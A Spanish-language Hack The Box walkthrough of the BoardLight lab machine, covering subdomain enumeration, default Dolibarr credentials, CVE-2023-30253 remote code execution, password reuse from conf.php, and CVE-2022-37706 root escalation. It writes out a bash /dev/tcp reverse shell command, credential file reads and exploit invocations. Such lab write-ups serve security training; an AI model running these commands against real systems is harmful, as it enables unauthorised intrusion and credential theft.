Buscar en BreakSecure

Contenido recomendado

BoardLight

BoardLight es una máquina Linux de Hack The Box donde descubrimos Dolibarr 17.0.0 mediante enumeración de subdominios, explotamos CVE-2023-30253 para obtener acceso inicial y aprovechamos CVE-2022-37706 en Enlightenment para escalar privilegios hasta root.

Portada de BoardLight
Plataforma
Hack The Box
Sistema operativo
Linux
Dificultad
Fácil
Publicado
Autor
Pedro Vargas
Temas
  • Virtual Host
  • Subdominios
  • Dolibarr
  • Default Credentials
  • CVE 2023 30253
  • SSH
  • SUID
  • Enlightenment
  • CVE 2022 37706
En esta página

Resumen

BoardLight es una máquina Linux Easy donde la enumeración de subdominios descubre crm.board.htb ejecutando Dolibarr 17.0.0. Tras acceder con credenciales por defecto, explotaremos CVE-2023-30253 para obtener una shell como www-data, reutilizaremos una contraseña encontrada en conf.php para acceder como larissa y finalmente explotaremos CVE-2022-37706 en Enlightenment para conseguir root.

Enumeración

Comenzamos realizando un escaneo completo de puertos:

nmap -p- 10.129.231.37 -T5

Encontramos únicamente dos puertos abiertos:

22 - SSH
80 - HTTP

Realizamos un segundo escaneo para obtener más información sobre los servicios:

nmap -p22,80 -sVC 10.129.231.37 -T5

Al acceder al servidor web encontramos una página corporativa y, revisando su contenido, aparece una referencia a:

board.htb

Añadimos el dominio a nuestro /etc/hosts y continuamos enumerando.

Descubriendo crm.board.htb

Como ya tenemos un dominio, buscamos posibles virtual hosts utilizando ffuf:

ffuf -u http://board.htb -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -H 'Host: FUZZ.board.htb' -c -v -t 500 -fs 15949

El parámetro -fs 15949 nos permite filtrar respuestas cuyo tamaño corresponde a la respuesta genérica del servidor, facilitando identificar resultados diferentes.

Entre los resultados encontramos:

crm.board.htb

Lo añadimos también a /etc/hosts y accedemos desde el navegador.

Esta vez encontramos Dolibarr 17.0.0.

Acceso a Dolibarr

Probamos las credenciales por defecto:

admin:admin

Y conseguimos acceder al panel administrativo. 🎯

Teniendo acceso autenticado y conociendo la versión exacta, buscamos vulnerabilidades conocidas para Dolibarr 17.0.0.

Encontramos:

CVE-2023-30253

Explotando CVE-2023-30253

Para explotarla utilicé el siguiente PoC:

https://github.com/Rubikcuv5/cve-2023-30253

Clonamos el repositorio:

git clone https://github.com/Rubikcuv5/cve-2023-30253

Instalamos sus dependencias:

pip install -r requirements.txt --break-system-packages

Primero comprobamos si realmente tenemos ejecución remota de comandos utilizando algo sencillo:

python3 CVE-2023-30253.py --url http://crm.board.htb -u admin -p admin -c "ls -l"

El comando se ejecuta correctamente.

🔥 Tenemos RCE sobre el servidor.

¿Qué ocurre con CVE-2023-30253?

La vulnerabilidad permite a un usuario autenticado evadir las restricciones que Dolibarr aplica sobre contenido PHP e introducir código que termina siendo interpretado por el servidor.

Por eso necesitamos primero las credenciales admin:admin: el vector que estamos utilizando requiere acceso autenticado a Dolibarr.

En lugar de quedarnos ejecutando comandos individuales, vamos a utilizarlo para conseguir una shell.

Reverse shell

Desde Kali dejamos Netcat escuchando:

nc -lvp 4444

Volvemos a ejecutar el exploit, pero esta vez nuestro comando será una reverse shell:

python3 CVE-2023-30253.py --url http://crm.board.htb -u admin -p admin -c "/bin/bash -c 'bash -i >& /dev/tcp/10.10.17.149/4444 0>&1'"

Recibimos la conexión en nuestra máquina.

Ahora tenemos acceso como:

www-data

Credenciales en Dolibarr

Con acceso al filesystem comenzamos a revisar la configuración de la aplicación.

El archivo que nos interesa es:

cat /var/www/html/crm.board.htb/htdocs/conf/conf.php

Dentro encontramos las credenciales utilizadas por Dolibarr:

dolibarrowner:serverfun2$2023!!

Inicialmente podríamos pensar en reutilizarlas directamente mediante SSH, pero dolibarrowner corresponde al usuario utilizado por la aplicación y no necesariamente tiene que existir como usuario local de Linux.

Comprobamos las cuentas del sistema:

cat /etc/passwd

Entre ellas encontramos:

larissa

Así que probamos algo sencillo pero muy efectivo: reutilización de contraseña.

larissa:serverfun2$2023!!

Las credenciales funcionan y podemos acceder mediante SSH como larissa. 🔑

Enumeración como larissa

Ya con una sesión estable comenzamos la enumeración local.

Revisamos las sesiones gráficas instaladas:

ls /usr/share/xsessions

Aquí encontramos Enlightenment.

Comprobamos su ubicación:

which enlightenment

Y posteriormente su versión:

/usr/bin/enlightenment --version

La versión instalada es:

0.23.1

Investigando esta versión encontramos:

CVE-2022-37706

Esta vulnerabilidad afecta al componente privilegiado enlightenment_sys y permite realizar una escalada local de privilegios debido a una validación insegura de determinadas rutas que termina permitiendo ejecución de comandos con privilegios elevados.

Explotando CVE-2022-37706

Utilicé el siguiente exploit público:

https://github.com/MaherAzzouzi/CVE-2022-37706-LPE-exploit/blob/main/exploit.sh

Copiamos el contenido del exploit para utilizarlo en BoardLight.

Durante mis pruebas también trabajé con:

vi exploit.py

Finalmente, sobre el script que vamos a ejecutar damos permisos:

chmod +x exploit.sh

Y lanzamos el exploit:

./exploit.sh

La vulnerabilidad permite abusar de enlightenment_sys, que dispone de privilegios SUID, para terminar ejecutando comandos como root.

Comprobamos:

whoami

Resultado:

root

🔥 ¡BoardLight completada!

Conclusiones

BoardLight tiene una ruta corta pero interesante: ffuf descubre Dolibarr 17.0.0, CVE-2023-30253 nos proporciona RCE y una contraseña expuesta en conf.php es reutilizada por larissa. Finalmente, CVE-2022-37706 en Enlightenment permite escalar hasta root.

Herramientas utilizadas

  • Nmap
  • ffuf
  • Git
  • Python
  • Netcat
  • SSH

Referencias